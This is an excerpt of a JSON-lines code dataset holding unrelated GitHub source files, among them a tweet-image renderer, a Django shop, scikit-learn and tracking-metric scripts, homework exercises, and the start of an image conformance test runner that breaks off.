\"./fonts/Vazir-Medium-UI.ttf\"\nfont_bold = str(settings.TWEET_IMAGE_TEXT_BOLD_FONT_PATH)\n# font_bold = \"./fonts/Vazir-Bold.ttf\"\nheader_font_size = 32\n\n# Colors\nfirst_text_color = \"white\"\nsecondary_text_color = (136, 153, 166)\nbackground_color = (21, 32, 43)\nlinks_color = (27, 149, 224)\n\n\ndef get_width_for_text(text: str):\n text_font = ImageFont.truetype(font_file, 46)\n part_canvas = Image.new('RGB', (500, 100))\n part_draw = ImageDraw.Draw(part_canvas)\n part_draw.text((0, 0), text, font=text_font, fill='white')\n part_box = part_canvas.getbbox()\n return part_box[2]\n\n\ndef get_space_width():\n return get_width_for_text('a b') - get_width_for_text('ab')\n\n\ndef generate_white_image(source, destination):\n im = Image.open(source)\n im = im.convert('RGBA')\n\n data = np.array(im) # \"data\" is a height x width x 4 numpy array\n red, green, blue, alpha = data.T # Temporarily unpack the bands for readability\n\n # Replace white with red... (leaves alpha values alone...)\n black_areas = (red == 0) & (blue == 0) & (green == 0) & (alpha == 255)\n data[..., :-1][black_areas.T] = (255, 255, 255) # Transpose back needed\n\n im2 = Image.fromarray(data)\n im2.save(destination)\n\n\ndef get_drawer_with_background():\n final_image = Image.new('RGB', final_size, color=background_color)\n return ImageDraw.Draw(final_image), final_image\n\n\ndef generate_twitter_name_and_get_width(drawer, twitter_name):\n text_font = ImageFont.truetype(font_bold, header_font_size)\n if settings.TWEET_IMAGE_TEXT_RESHAPE:\n twitter_name = get_display(arabic_reshaper.reshape(twitter_name))\n drawer.text((twitter_name_x, twitter_name_y), twitter_name, font=text_font, fill=first_text_color)\n return text_font.getsize(twitter_name)[0]\n\n\ndef generate_verified_image(final_image, is_verified, twitter_name_width):\n if is_verified:\n verified_image_x = twitter_name_x + twitter_name_width + 5\n verified_image_y = twitter_name_y\n verified_image_white_file = 'verified-white.png'\n generate_white_image('images/verified.png', verified_image_white_file)\n verified_image = Image.open(verified_image_white_file, 'r')\n verified_image_width = 40\n verified_image = verified_image.resize([verified_image_width, verified_image_width], Image.ANTIALIAS)\n final_image.paste(verified_image, (verified_image_x, verified_image_y), verified_image)\n os.remove('verified-white.png')\n\n\ndef generate_twitter_account(drawer, twitter_account):\n twitter_account_y = twitter_name_y + 38\n text_font = ImageFont.truetype(font_file, header_font_size)\n drawer.text((twitter_name_x, twitter_account_y), twitter_account, font=text_font, fill=secondary_text_color)\n\n\ndef is_valid_url(url):\n import re\n regex = re.compile(\n r'(?:(?:[A-Z0-9](?:[A-Z0-9-]{0,61}[A-Z0-9])?\\.)+[A-Z]{2,6}\\.?|' # domain...\n r'localhost|' # localhost...\n r'\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3})' # ...or ip\n r'(?::\\d+)?' # optional port\n r'(?:/?|[/?]\\S+)$', re.IGNORECASE)\n return url is not None and regex.search(url)\n\n\ndef contains_url(text):\n for part in text.split(' '):\n if is_valid_url(part):\n return True\n return False\n\n\ndef generate_main_text_and_get_final_y(drawer, text, space_width):\n y_text_position = 151\n x_text_margin = margin_x\n text_lines_spacing = 10\n text_font = ImageFont.truetype(font_file, 46)\n text = text.replace('\\n', ' ').replace('\\r', ' ')\n if settings.TWEET_IMAGE_TEXT_RESHAPE:\n text = get_display(arabic_reshaper.reshape(text))\n lines_wrapper = textwrap.wrap(text, width=54)[::-1]\n else:\n lines_wrapper = textwrap.wrap(text, width=54)\n\n for line in lines_wrapper:\n if '@' in line or '#' in line or contains_url(line):\n string_parts = line.split(' ')\n if not settings.TWEET_IMAGE_TEXT_RESHAPE:\n string_parts = string_parts[::-1]\n next_x = 0\n for index, part in enumerate(string_parts):\n if len(part) == 0:\n continue\n if not settings.TWEET_IMAGE_TEXT_RESHAPE and (part[0] in ('@', '#') or is_valid_url(part)):\n color = links_color\n elif part[0] in ('@', '#') or part[-1] in ('@', '#') or is_valid_url(part):\n color = links_color\n else:\n color = 'white'\n part_width = get_width_for_text(text=part)\n drawer.text((x_text_margin + next_x, y_text_position), part, font=text_font, fill=color)\n next_x += part_width + space_width\n else:\n drawer.text((x_text_margin, y_text_position), line, font=text_font, fill=\"white\")\n y_text_position += text_font.getsize(line)[1] + text_lines_spacing\n return y_text_position\n\n\ndef generate_images_and_get_final_y(final_image, images, y_position):\n if images:\n y_position += 5\n image_url = images[0]\n width = final_size[0] - margin_x * 2\n height = int(float(width) * 0.67)\n tweet_image = get_image_from_url(image_url)\n aspect = tweet_image.size[0] / tweet_image.size[1]\n height = width / aspect\n tweet_image_size = (int(width), int(height))\n tweet_image = tweet_image.resize(tweet_image_size, Image.ANTIALIAS)\n mask_im = Image.new(\"L\", tweet_image.size, 0)\n mask_draw = ImageDraw.Draw(mask_im)\n radius = 50\n mask_draw.ellipse((0, 0, radius, radius), fill=255)\n mask_draw.rectangle((radius / 2, 0, width - radius / 2, radius), fill=255)\n mask_draw.ellipse((width - radius, 0, width, radius), fill=255)\n mask_draw.rectangle((width - radius, radius / 2, width, height - radius / 2), fill=255)\n mask_draw.ellipse((width - radius, height - radius, width, height), fill=255)\n mask_draw.rectangle((width - radius / 2, height - radius, radius / 2, height), fill=255)\n mask_draw.ellipse((0, height - radius, radius, height), fill=255)\n mask_draw.rectangle((0, height - radius / 2, radius, radius / 2), fill=255)\n mask_draw.rectangle((radius, radius, width - radius, height - radius), fill=255)\n final_image.paste(tweet_image, (margin_x, y_position), mask_im)\n return y_position + height\n else:\n return y_position\n\n\ndef generate_date_and_get_final_y(drawer, date_text, y_text_position):\n date_y = y_text_position + 22\n text_font = ImageFont.truetype(font_file, 32)\n drawer.text((30, date_y), date_text, font=text_font, fill=secondary_text_color)\n return date_y\n\n\ndef get_image_from_url(image_url):\n content = requests.get(image_url).content\n bytes_io = BytesIO(content)\n bytes_io.seek(0)\n return Image.open(bytes_io, 'r')\n\n\ndef get_image_from_url_with_size(image_url, size):\n tweet_image = get_image_from_url(image_url)\n tweet_image_size = size\n tweet_image = tweet_image.resize(tweet_image_size, Image.ANTIALIAS)\n return tweet_image\n\n\ndef download_and_insert_image(final_image, image_url):\n tweet_image = get_image_from_url_with_size(image_url, (96, 96))\n h, w = tweet_image.size\n mask_im = Image.new(\"L\", tweet_image.size, 0)\n mask_draw = ImageDraw.Draw(mask_im)\n mask_draw.ellipse((0, 0, w, h), fill=255)\n final_image.paste(tweet_image, (margin_x, margin_y), mask_im)\n\n\ndef crop_final_image(final_image, date_y):\n final_height = date_y + 50\n w, h = final_image.size\n return final_image.crop((0, 0, w, final_height))\n\n\ndef save_image(final_image, destination=None, image_format=None):\n if not destination:\n image = BytesIO()\n final_image.save(image, format=image_format or 'JPEG')\n return image.getvalue()\n elif isinstance(destination, BytesIO):\n final_image.save(destination, format=image_format or 'JPEG')\n return destination.getvalue()\n else:\n if image_format:\n final_image.save(destination, format=image_format)\n else:\n final_image.save(destination)\n with open(destination, 'rb') as f:\n return f.read()\n\n\ndef generate_tweet_image(name, username, text, time, date, device, image_url, is_verified, images, destination=None):\n space_width = get_space_width()\n drawer, final_image = get_drawer_with_background()\n twitter_name_width = generate_twitter_name_and_get_width(drawer, name)\n generate_verified_image(final_image, is_verified, twitter_name_width)\n generate_twitter_account(drawer, username)\n y_text_position = generate_main_text_and_get_final_y(drawer, text, space_width)\n images_y = generate_images_and_get_final_y(final_image, images, y_text_position)\n date_y = generate_date_and_get_final_y(drawer, f'{time} · {date} · {device}', images_y)\n download_and_insert_image(final_image, image_url)\n final_image = crop_final_image(final_image, date_y)\n return save_image(final_image, destination)\n","repo_name":"mahdizojaji/TweetTel","sub_path":"extensions/twitter/tweet_image.py","file_name":"tweet_image.py","file_ext":"py","file_size_in_byte":9549,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"21"} +{"seq_id":"7886857121","text":"from tkinter import *\r\n\r\n\r\ndef doNothing():\r\n print(\"ok ok I won't ...\")\r\n\r\nroot = Tk()\r\n\r\nroot.geometry(\"400x400\")\r\n\r\n# ****** Main Menu *****\r\n\r\nmenu = Menu(root)\r\nroot.config(menu=menu)\r\n\r\nsubMenu = Menu(menu)\r\nmenu.add_cascade(label=\"DOK1\", menu=subMenu)\r\nsubMenu.add_command(label=\"dach całość\", command=doNothing)\r\nsubMenu.add_command(label=\"Endwal blizej biura\", command=doNothing)\r\nsubMenu.add_separator()\r\nsubMenu.add_command(label=\"na wykonczenie\", command=doNothing)\r\n\r\neditMenu = Menu(menu)\r\nmenu.add_cascade(label=\"Wykonczenie1\", menu=editMenu)\r\neditMenu.add_command(label=\"VT \",command=doNothing)\r\neditMenu.add_command(label=\"Visual \",command=doNothing)\r\neditMenu.add_separator()\r\neditMenu.add_command(label=\"Srut\", command=doNothing)\r\neditMenu.add_command(label=\"29/30\", command=doNothing)\r\n\r\n# *******The Toolbar*****\r\n\r\ntoolbar = Frame(root, bg=\"blue\")\r\n\r\ninsertButt = Button(toolbar, text=\"dodaj CBS\", command=doNothing)\r\ninsertButt.pack(side=LEFT, padx=2, pady=2)\r\nprintButt = Button(toolbar, text=\"usun CBS\", command=doNothing)\r\nprintButt.pack(side=LEFT, padx=2, pady=2)\r\n\r\ntoolbar.pack(side=TOP, fill=X)\r\n\r\nroot.mainloop()","repo_name":"Krzyzowski/Krzyzowski","sub_path":"CBS/CBS001.py","file_name":"CBS001.py","file_ext":"py","file_size_in_byte":1150,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"10520781470","text":"from get_list_accidents import get_list_accidents\nimport os\n\n# create folder to store data in csv\npath_csv = os.path.join(\"..\", \"dados\")\nif not os.path.exists(path_csv):\n os.makedirs(path_csv)\n\n# list districts\ndistritos = [\n \"Aveiro\",\n \"Beja\",\n \"Braga\",\n \"Bragança\",\n \"Castelo\",\n \"Coimbra\",\n \"Évora\",\n \"Faro\",\n \"Guarda\",\n \"Leiria\",\n \"Lisboa\",\n \"Portalegre\",\n \"Porto\",\n \"Santarém\",\n \"Setúbal\",\n \"Viana\",\n \"Vila\",\n \"Viseu\",\n]\n\n# define function to process all the districts in a given year\ndef process_all_pdfs_in_folder(year):\n\n print(\"Processing year\", year)\n\n path_pdfs = os.path.join(\"..\", \"pdfs\", str(year))\n\n # get list of all pdf files inside the folder\n list_pdfs = [f for f in os.listdir(path_pdfs) if f.endswith(\".pdf\")]\n\n print(\"List of pdf files in the folder:\", list_pdfs)\n\n # keep only the pdfs that start with a district name\n final_list = [\n item for item in list_pdfs for distrito in distritos if distrito in item\n ]\n final_list = list(\n sorted(set(final_list))\n ) # drops duplicates from the list, caused by Braga and Bragança\n\n print(\"Final list of files:\", final_list)\n\n # for each file, extract the list of accidents and move it to the data folder\n for file in final_list:\n\n print(\"Processing file\", file)\n\n # convert list of accidents to csv\n path_pdf_file = os.path.join(path_pdfs, file)\n get_list_accidents(path_pdf_file)\n csv_filename = os.path.splitext(file.replace(\" \", \"_\"))[0] + \".csv\"\n\n # move the file\n os.rename(\n os.path.join(path_pdfs, csv_filename), os.path.join(path_csv, csv_filename)\n )\n\n\n# loop through all the years in the data\nfor year in range(2017, 2003, -1):\n print(\"Processing year\", year)\n process_all_pdfs_in_folder(year)\n","repo_name":"centraldedados/sinistralidade","sub_path":"scripts/process_all_pdf.py","file_name":"process_all_pdf.py","file_ext":"py","file_size_in_byte":1857,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"17329550765","text":"from typing import Type\n\nfrom ..apps import AbstractApp\nfrom ..handlers import HandlerFunction\nfrom ..logs import Logger\nfrom ..requests import Request\nfrom ..resolvers import Resolver\nfrom ..responses import StreamResponse\nfrom ._base_middleware import AppOrHandler, BaseMiddleware\nfrom ._middleware_type import MiddlewareType\n\n__all__ = (\"LoggerMiddleware\",)\n\n\nclass LoggerMiddleware(BaseMiddleware):\n def __init__(self, resolver: Resolver, logger: Logger) -> None:\n super().__init__(resolver)\n self._logger = logger\n\n def on_app(self, app: Type[AbstractApp]) -> None:\n super().on_app(app)\n self._resolver.register_attribute(\"logger\", self._logger, app)\n\n def on_handler(self, handler: HandlerFunction) -> None:\n super().on_handler(handler)\n self._resolver.register_attribute(\"logger\", self._logger, handler)\n\n def _register_middleware(self,\n app_or_handler: AppOrHandler, middleware: MiddlewareType) -> None:\n old_middlewares = self._resolver.get_attribute(\"middlewares\", app_or_handler, [])\n new_middlewares = [middleware] + old_middlewares\n self._resolver.register_attribute(\"middlewares\", new_middlewares, app_or_handler)\n\n async def do(self, request: Request, handler: HandlerFunction,\n app: AbstractApp) -> StreamResponse:\n logger = self._resolver.get_attribute(\"logger\", handler, None)\n if logger is None:\n logger = self._resolver.get_attribute(\"logger\", type(app), None)\n\n if logger:\n logger.info(request, extra={\"jj_request\": request})\n\n response = await handler(request)\n\n if logger:\n logger.info(response, extra={\"jj_request\": request, \"jj_response\": response})\n\n return response\n","repo_name":"tsv1/jj","sub_path":"jj/middlewares/_logger_middleware.py","file_name":"_logger_middleware.py","file_ext":"py","file_size_in_byte":1790,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"21"} +{"seq_id":"12403829894","text":"from django.shortcuts import render, get_object_or_404\nfrom .models import Category, Product, Subscription\nfrom cart.forms import CartAddProductForm\n\n\ndef product_list(request, category_slug=None):\n category = None\n categories = Category.objects.all()\n products = Product.objects.filter(available=True)\n # image = products.images.all().filter(pk=1)\n if category_slug:\n category = get_object_or_404(Category, slug=category_slug)\n products = products.filter(category=category)\n return render(request, 'shop/product/list2.html', {'category': category,\n 'categories': categories,\n 'products': products,\n })\n\n\ndef product_detail(request, id, slug):\n product = get_object_or_404(Product, id=id, slug=slug, available=True)\n cart_product_form = CartAddProductForm()\n return render(request,\n 'shop/product/detail2.html',\n {'product': product,\n 'cart_product_form': cart_product_form,\n })\n\n\ndef sub_create(request):\n if request.method == 'POST':\n form = SubCreateForm(request.POST)\n if form.is_valid():\n email = form.cleaned_data['email']\n sub = Subscription(email=email)\n sub.save()\n\n return render(request, 'shop/base.html', {'form': form})\n\n\n","repo_name":"olumydot/myshop","sub_path":"shop/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1460,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"11379760167","text":"\"\"\"doctor schedule booked by added\n\nRevision ID: 1d0a99498c9f\nRevises: e389ef00e4d9\nCreate Date: 2022-09-17 10:37:06.061622\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '1d0a99498c9f'\ndown_revision = 'e389ef00e4d9'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('doctor_schedules', sa.Column('booked_by_patient_id', sa.Integer(), nullable=True))\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_column('doctor_schedules', 'booked_by_patient_id')\n # ### end Alembic commands ###\n","repo_name":"Arif-Badhon/echamber_backend","sub_path":"src/alembic/versions/1d0a99498c9f_doctor_schedule_booked_by_added.py","file_name":"1d0a99498c9f_doctor_schedule_booked_by_added.py","file_ext":"py","file_size_in_byte":718,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"7204164801","text":"# Number 2\nfrom pprint import pprint\n\nwith open('24-2.txt') as file:\n data = file.read()\n\nchars = {}\nfor i in range(65, 91):\n chars[chr(i)] = 0\n\nfor i in range(1, len(data) - 1):\n if data[i - 1] == data[i + 1]:\n chars[data[i]] += 1\n\nmaxim = 0\nchar = ''\nfor i in chars:\n if chars[i] > maxim:\n char = i\n maxim = chars[i]\nprint('Number #2:', char)\n\n# Number 3\nwith open('27-A_1.txt') as file:\n data = []\n for line in file:\n elem = line.strip('\\n').split(' ')\n elem.remove('')\n para = []\n [para.append(int(x)) for x in elem]\n data.append(para)\n\nprint(data)\n\n","repo_name":"Andrey-Bedretdinov/School","sub_path":"Архив/Homework/Homework 14.04.22/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":628,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"10079467968","text":"\n'''\n1056. 易混淆数\n给定一个数字 N,当它满足以下条件的时候返回 true:\n\n原数字旋转 180° 以后可以得到新的数字。\n\n如 0, 1, 6, 8, 9 旋转 180° 以后,得到了新的数字 0, 1, 9, 8, 6 。\n\n2, 3, 4, 5, 7 旋转 180° 后,得到的不是数字。\n\n易混淆数 (confusing number) 在旋转180°以后,可以得到和原来不同的数,且新数字的每一位都是有效的。\n\n\n\n示例 1:\n\n\n\n输入:6\n输出:true\n解释:\n把 6 旋转 180° 以后得到 9,9 是有效数字且 9!=6 。\n示例 2:\n\n\n\n输入:89\n输出:true\n解释:\n把 89 旋转 180° 以后得到 68,86 是有效数字且 86!=89 。\n示例 3:\n\n\n\n输入:11\n输出:false\n解释:\n把 11 旋转 180° 以后得到 11,11 是有效数字但是值保持不变,所以 11 不是易混淆数字。\n示例 4:\n\n\n\n输入:25\n输出:false\n解释:\n把 25 旋转 180° 以后得到的不是数字。\n\n\n提示:\n\n0 <= N <= 10^9\n可以忽略掉旋转后得到的前导零,例如,如果我们旋转后得到 0008 那么该数字就是 8 。\n\n1056. Confusing Number\nGiven a number N, return true if and only if it is a confusing number, which satisfies the following condition:\n\nWe can rotate digits by 180 degrees to form new digits. When 0, 1, 6, 8, 9 are rotated 180 degrees, they become 0, 1, 9, 8, 6 respectively. When 2, 3, 4, 5 and 7 are rotated 180 degrees, they become invalid. A confusing number is a number that when rotated 180 degrees becomes a different number with each digit valid.\n\n\n\nExample 1:\n\n\n\nInput: 6\nOutput: true\nExplanation:\nWe get 9 after rotating 6, 9 is a valid number and 9!=6.\nExample 2:\n\n\n\nInput: 89\nOutput: true\nExplanation:\nWe get 68 after rotating 89, 86 is a valid number and 86!=89.\nExample 3:\n\n\n\nInput: 11\nOutput: false\nExplanation:\nWe get 11 after rotating 11, 11 is a valid number but the value remains the same, thus 11 is not a confusing number.\nExample 4:\n\n\n\nInput: 25\nOutput: false\nExplanation:\nWe get an invalid number after rotating 25.\n\n\nNote:\n\n0 <= N <= 10^9\nAfter the rotation we can ignore leading zeros, for example if after rotation we have 0008 then this number is considered as just 8.\n'''\n\n\n\nclass Solution(object):\n def confusingNumber(self, N):\n \"\"\"\n :type N: int\n :rtype: bool\n \"\"\"\n N = str(N)\n hash_map = {\"6\": \"9\", \"9\": \"6\", \"8\": \"8\", \"0\": \"0\", \"1\": \"1\"}\n new_num = []\n for i in range(len(N)):\n if N[i] not in hash_map:\n return False\n else:\n new_num.append(hash_map[N[i]])\n # print(new_num, num)\n return not \"\".join(new_num) == N[::-1]\n","repo_name":"MecaCho/algorithms_training","sub_path":"algorithms/string/leetcode-1056-ConfusingNumber.py","file_name":"leetcode-1056-ConfusingNumber.py","file_ext":"py","file_size_in_byte":2657,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"40193090001","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed Dec 18 14:27:17 2019\r\n\r\n@author: alex\r\n\"\"\"\r\n\r\n#Assignment 9 - Programming for Engineers - Alex Hill\r\n\r\n#%%\r\n\r\n#Review Exercise : KNN Classifier with Real Data\r\n\r\nfrom sklearn.model_selection import train_test_split\r\nfrom sklearn.neighbors import KNeighborsClassifier\r\nimport pandas as pd\r\nimport numpy as np\r\n\r\n# 1 : Import the planets data from the seaborn package\r\n\r\nimport seaborn as sns\r\nplanets = sns.load_dataset('planets')\r\n\r\n#%%\r\n# 2 : Drop null (NaN) values:\r\n#\r\n# - show how many null values appear in each column\r\n# - drop any columns where less than half the values are non-null\r\n# - drop all remaining rows containing null values\r\n\r\nprint(planets.isnull().sum())\r\nplanets = planets.dropna(axis='columns', thresh = np.floor(len(planets.values[:,0])/2))\r\nplanets = planets.dropna(axis ='rows')\r\n#%%\r\n\r\n# 3 : Create a column with a unique integer value to represent each\r\n# unique string value in the method column of the DataFrame.\r\n\r\nmethods = list(planets['method'].unique())\r\n\r\nfor n, m in enumerate(methods):\r\n planets = planets.replace({m: n})\r\n\r\nfor (method, group) in planets.groupby('method'): \r\n # This print formatting leaves 30 spaces between printed item 0 and printed item 1\r\n print(\"DataFrame name : {0:3}, shape={1}\".format(method, group.shape))\r\n\r\n#%%\r\n\r\n# 4 : Split the data set into training and test data.\r\n\r\nX_train, X_test,y_train, y_test = train_test_split(planets.loc[:,'number':],\r\n planets['method'], \r\n random_state=0)\r\n \r\n \r\n \r\n\r\n\r\n#%%\r\n\r\n# 5 : Create a scatter plot to check if the different\r\n# method classes/targets can be separated using the features.\r\n\r\npd.plotting.scatter_matrix(X_train, # data frame\r\n c=y_train, # colour by y_train\r\n figsize=(6, 6),\r\n marker='o', \r\n hist_kwds={'bins': 20}, # plotting keyword arguments to be passed to hist function\r\n s=60, # size of markers\r\n alpha=.8, # transparency of markers\r\n cmap='viridis'); # colour map used for colour of each data plotted\r\n \r\n\r\n#%%\r\n\r\n# 6 : Import the KNN model, instantiate and fit the model to the training data.\r\n\r\nfrom matplotlib import pyplot as plt\r\n\r\nn=20\r\n\r\nscores = [] \r\nfor i in range(1,n):\r\n knn = KNeighborsClassifier(n_neighbors=i)\r\n knn.fit(X_train, y_train)\r\n score = knn.score(X_test, y_test)\r\n scores = np.append(scores,score)\r\n\r\nbest = scores.max()\r\nplt.figure()\r\nplt.scatter(range(1,n),scores) \r\nplt.show()\r\n \r\n\r\nbests = []\r\nfor i in range(0,n-1):\r\n if scores[i] == best:\r\n bests = np.append(bests,i)\r\n\r\nbestn = bests.min()\r\nprint(f'Best Accuracy : {round(best,5)}\\nBest n : {bestn}')\r\n \r\n#%%\r\n\r\n# 7 : What percentage of the test data does the model predict correctly?\r\n\r\nprint(round(best,3))\r\n\r\n#%%\r\n\r\n# 8 : Look at step 5 again.\r\n# Do some features seperate the classes better than others?\r\n# What happens if you remove the features that do not seperate the classes well?\r\n# How does this effect the accuracy of the model prediction?\r\n\r\n#It seems like number isnt contributing much to the classifier,\r\n#so lets remove it and see what happens!\r\n\r\nX_train, X_test,y_train, y_test = train_test_split(planets[['orbital_period','year','distance']],\r\n planets['method'], \r\n random_state=0)\r\n\r\nn=20\r\n\r\nscores = [] \r\nfor i in range(1,n):\r\n knn = KNeighborsClassifier(n_neighbors=i)\r\n knn.fit(X_train, y_train)\r\n score = knn.score(X_test, y_test)\r\n scores = np.append(scores,score)\r\n\r\nbest = scores.max()\r\nplt.figure()\r\nplt.scatter(range(1,n),scores) \r\nplt.show()\r\n \r\n\r\nbests = []\r\nfor i in range(0,n-1):\r\n if scores[i] == best:\r\n bests = np.append(bests,i)\r\n\r\nbestn = bests.min()\r\nprint(f'Best Accuracy : {round(best,5)}\\nBest n : {bestn}')\r\n \r\n# from messing around with the different features it was clear that the \r\n# classifier would work either the same or worse with less features. With number\r\n# removed as a feature, the classifier had the exact same accuracy.\r\n \r\n \r\n \r\n\r\n\r\n","repo_name":"alex21347/Programming_for_Engineers_Course-2019","sub_path":"Assignment 9 - Alex Hill - Programming for Engineers.py","file_name":"Assignment 9 - Alex Hill - Programming for Engineers.py","file_ext":"py","file_size_in_byte":4614,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"42734596625","text":"class Circulo:\n def __init__(self,centro,raio):\n self.x = centro[0]\n self.y = centro[1]\n self.raio = float(raio)\n\n def contem(self, ponto):\n dx = ponto.x - self.x\n dy = ponto.y - self.y\n distancia = ((dx**2) + (dy**2)) ** 0.5\n if distancia <= self.raio:\n return True\n else:\n return False","repo_name":"gabriellaec/desoft-analise-exercicios","sub_path":"backup/user_098/ch89_2020_06_22_18_36_46_417895.py","file_name":"ch89_2020_06_22_18_36_46_417895.py","file_ext":"py","file_size_in_byte":339,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"74730857972","text":"import os\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport motmetrics as mm\n\nmm.lap.default_solver = 'lap'\nmetrics = list(mm.metrics.motchallenge_metrics)\n\ngt_file = './run/2_gt.txt'\ntrack_file = './run/2_bot.txt'\n\nmot_type = 'bot'\n\ngt_files = ['./run/1_gt.txt','./run/2_gt.txt', './run/3_gt.txt', './run/4_gt.txt', './run/5_gt.txt']\ntrack_files = [g.replace('gt', mot_type) for g in gt_files]\n\naccs = []\nnames = []\nfor g, t in zip(gt_files, track_files):\n gt = mm.io.loadtxt(g, fmt='mot16', min_confidence=-1)\n ts = mm.io.loadtxt(t, fmt='mot16')\n \n #计算单个acc\n acc=mm.utils.compare_to_groundtruth(gt, ts, 'iou', distth=0.5)\n accs.append(acc)\n name=os.path.splitext(os.path.basename(t))[0]\n names.append(name)\nmh = mm.metrics.create()\nsummary = mh.compute_many(accs, metrics=metrics, names=names)\nprint(mm.io.render_summary(summary, formatters=mh.formatters,namemap=mm.io.motchallenge_metric_names))","repo_name":"xiaoqieF/my-tracking","sub_path":"val.py","file_name":"val.py","file_ext":"py","file_size_in_byte":958,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"1390517802","text":"import argparse\nimport json\nimport numpy\nimport os\nimport subprocess\nimport sys\nimport tempfile\nimport shlex\n\nimport lcms2\n\n\ndef Failure(message):\n print(f\"\\033[91m{message}\\033[0m\", flush=True)\n return {\"success\": False, \"message\": message}\n\n\ndef CompareNPY(ref, ref_icc, dec, dec_icc, frame_idx, rmse_limit, peak_error, lax):\n \"\"\"Compare a decoded numpy against the reference one.\"\"\"\n if frame_idx >= dec.shape[0]:\n return Failure(f'Frame count does not match: ref {ref.shape}, decoded {dec.shape}')\n\n ref_frame = ref[frame_idx]\n dec_frame = dec[frame_idx]\n # Allow decoded images to be RGBA while reference is RGB, as long as A is trivial (all 1)\n if dec.shape[3] == 4 and ref.shape[3] == 3 and lax:\n minalpha = dec_frame[:,:, 3:4].min()\n if minalpha < 1:\n return Failure('Decoded has nontrivial alpha while reference has no alpha')\n dec_frame = dec_frame[:, :, 0:3]\n\n if ref_frame.shape != dec_frame.shape:\n return Failure(f'Expected shape {ref.shape} but found {dec.shape}')\n num_channels = ref_frame.shape[2]\n\n if ref_icc != dec_icc:\n # Transform colors before comparison.\n if num_channels >= 3:\n dec_clr = dec_frame[:, :, 0:3]\n dec_frame[:, :, 0:3] = lcms2.convert_pixels(dec_icc, ref_icc, dec_clr)\n else:\n dec_clr = dec_frame[:, :, 0:1]\n dec_frame[:, :, 0:1] = lcms2.convert_pixels(dec_icc, ref_icc, dec_clr)\n\n if lax:\n numpy.clip(ref_frame, 0, 1, ref_frame)\n numpy.clip(dec_frame, 0, 1, dec_frame)\n\n error = numpy.abs(ref_frame - dec_frame)\n actual_peak_error = error.max()\n error_by_channel = [error[:, :, ch] for ch in range(num_channels)]\n actual_rmses = [numpy.sqrt(numpy.mean(error_ch * error_ch))\n for error_ch in error_by_channel]\n actual_rmse = max(actual_rmses)\n\n print(f\"RMSE: {actual_rmses}, peak error: {actual_peak_error}\", flush=True)\n\n error_dict = {\"actual_peak_error\": float(actual_peak_error),\n \"actual_rmses\": list(map(float, actual_rmses)),\n \"actual_rmse\": float(actual_rmse),\n \"rmse_limit\": rmse_limit,\n \"peak_error\": peak_error\n }\n\n if actual_rmse > rmse_limit:\n return Failure(f\"RMSE too large: {actual_rmse} > {rmse_limit}\") | error_dict\n\n if actual_peak_error > peak_error:\n return Failure(\n f\"Peak error too large: {actual_peak_error} > {peak_error}\") | error_dict\n\n return {\"success\": True, \"actual_peak_error\": float(actual_peak_error)} | error_dict\n\n\n\ndef CompareBinaries(ref_bin, dec_bin):\n \"\"\"Compare a decoded binary file against the reference for exact contents.\"\"\"\n with open(ref_bin, 'rb') as reff:\n ref_data = reff.read()\n\n with open(dec_bin, 'rb') as decf:\n dec_data = decf.read()\n\n if ref_data != dec_data:\n return Failure(\n f'Binary files mismatch: {ref_bin} {dec_bin}')\n return {\"success\": True}\n\n\nTEST_KEYS = set(\n ['reconstructed_jpeg', 'original_icc', 'rms_error', 'peak_error'])\n\n\ndef CheckMeta(dec, ref):\n if isinstance(ref, dict):\n if not isinstance(dec, dict):\n return Failure(\"Malformed metadata file\")\n for k, v in ref.items():\n if k in TEST_KEYS:\n continue\n if k not in dec:\n return Failure(\n f\"Malformed metadata file: key {k} not found\")\n vv = dec[k]\n return CheckMeta(vv, v)\n elif isinstance(ref, list):\n if not isinstance(dec, list) or len(dec) != len(ref):\n return Failure(\"Malformed metadata file\")\n for vv, v in zip(dec, ref):\n return CheckMeta(vv, v)\n elif isinstance(ref, float):\n if not isinstance(dec, float):\n return Failure(\"Malformed metadata file\")\n if abs(dec - ref) > 0.0001:\n return Failure(\n f\"Metadata: Expected {ref}, found {dec}\")\n elif dec != ref:\n return Failure(f\"Metadata: Expected {ref}, found {dec}\")\n return {\"success\": True}\n\n\ndef ConformanceTestRunner(args):\n results = []\n # We can pass either the .txt file or the directory which defaults to the\n # full corpus. This is useful to run a subset of the corpus in other .txt\n # files.\n if os.path.isdir(args.corpus):\n corpus_dir = args.corpus\n corpus_txt = os.path.join(args.corpus, 'corpus.txt')\n else:\n corpus_dir = os.path.dirname(args.corpus)\n corpus_txt = args.corpus\n\n with open(corpus_txt, 'r') as f:\n for test_id in f:\n test_id = test_id.rstrip('\\n')\n test_dump = {\"test_id\": test_id}\n print(f\"\\033[94m\\033[1mTesting {test_id}\\033[0m\", flush=True)\n 